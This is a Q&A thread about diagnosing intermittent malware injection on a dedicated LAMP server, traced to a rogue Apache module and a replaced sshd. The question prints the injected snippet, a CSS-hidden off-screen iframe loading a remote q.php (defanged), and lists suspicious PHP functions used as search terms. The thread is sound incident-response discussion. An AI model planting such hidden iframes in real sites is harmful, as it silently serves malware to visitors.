Malware : Identifying & Cleaning Malware on a LAMP site

Question

EDIT : Further information / investigation information contained in the comments to this post

Apologies for the vague title - had trouble summarising this one.

I have recently discovered that one of my sites in serving out malware. As a result of this I have grepped through every file under httpdocs and looked for anything suspicious, i.e. calls out to shell_exec, eval, base64, passthru, includes, requires, cookie functions in PHP files. I have also gone through all JS files looking for suspicious methods, additionally as aspects of the site are built from a database I have searched that for anything suspicious (using phpmyadmin db search function to look for php shell etc and typical js malware commands)

All to no avail, I simply can't find where this is. As a result of that I have reuploaded all files for the software I am running and effectively reinstalled the site files. I have also had the software provided to go through and check, they have not been able to find anything either.

This leaves me with the conclusion that something at a higher level, i.e. Apache has been compromised. So the question is what should I check here?

I am running a dedicated server that only serves this site and only I have access to (he says) so I am able to run anything needed to help diagnose this

How does the Malware present itself?

Intermittently the following code is placed into my tags:

<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div> 

NOTE : In the code sample above I have changed 'http' to 'hXXp' and the IP address to '1.1.1.1'

However, the code is not always injected it seems to be added at random. Additionally when the code does appears the IP address, following guid and class name are typically different.

Also, none of the Malware scanners (i.e. Google webmaster tools etc etc etc) are picking this up. So I am guessing that this is more than just a basic injection, it is randomly choosing when to present itself, it is dynamically choosing an address to inject and it is seemingly invisible to malware scanner referrers.

Having spent a lot of time Google this I have not been able to find any similar instances, I have however found lots of references to webmasters asking about a myseterious q.php file that has appearred on their server.

Answer 1

Identifying malware in PHP code is a nightmare. But I am going to pass along some basic tips I have gleaned from cleaning up more than a few of these nightmares successfully.

First, do you have a clean version of the site anywhere? Such as a staging version that sits right next to the production version you can compare to? If so, run rsync with CRC checking in dry-run mode like this:

rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/

Note that I added, a few --exclude parameters to exclude the checking of known temp & cache directories.

And if you do not have a clean copy of the site to compare to, just download a clean install version of the PHP software you are using to use that as a comparison base. So let’s say you have a WordPress site that is infected? Download the exact same version of WordPress & do the Rsync comparison as above.

Doing an Rsync CRC/Dry-Run comparison alone he helped me track down infections & clean them up right away. Basically, go through the list of files that Rsync believes are different or new one-by-one to see if they are infected. 9 times out of 10 you will find code injected at the end of files that—for lack of a better term—looks like garbage. That will be the infection.

But do not pat yourself on the back yet. Changes are there are other infections. In many cases at least 2 or 3 more. So manually go through every file that Rsync declares different until things are cleaned up entirely.

You didn't say what PHP code is the basis of your site, but I would also immediately advise updating your install to whatever the latest patched version of the software is. Chances are good you are not the first, and this is a known issue, so patching will plug up the holes the malware go through to begin with.

Oh, and regarding malware getting into your database, that might be an entry point but more often than not malware worms it's way into your site by gaining user access via the database & then writes malware to the PHP codebase on your filesystem.

Answer 2

Answering my own question here (which by no means devalues the answer from JakeGould)

I have finally found the cause of this, rather than a writeup it is all neatly summarised on this page:

http://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-backdoor.html

Using the guidance on that page (and the linked articles) I looked at loaded Apache modules and found mod_view_proxy.so which is not a known Apache Module. This was being loaded into Apache via a LoadModule directive in /etc/httpd/conf.d/perl.conf. All files had been touched so the datetime stamp on them do not look suspicious. As blog entry mentions the SSHD had also been replaced with a different version.

As to how it got compromised, not entirely sure - the assumption is that it was caused by running and older version of vBulletin and/or one of its plugins (which is entirely my fault).

Also I need to give these guys their dues:

http://sucuri.net/

As you can see from this thread I had exhausted all ideas I had and also my technical ability, so as a last resort I went to Sucuri with everything I knew and had done. Yes, its a paid service but they found the issue, resolved it - their service was fantastic. They were genuinely interested in helping me navigate through this issue, a level service we don't often see these days. I have nothing but praise for them and would not hesitate to recommend them to anybody in my position.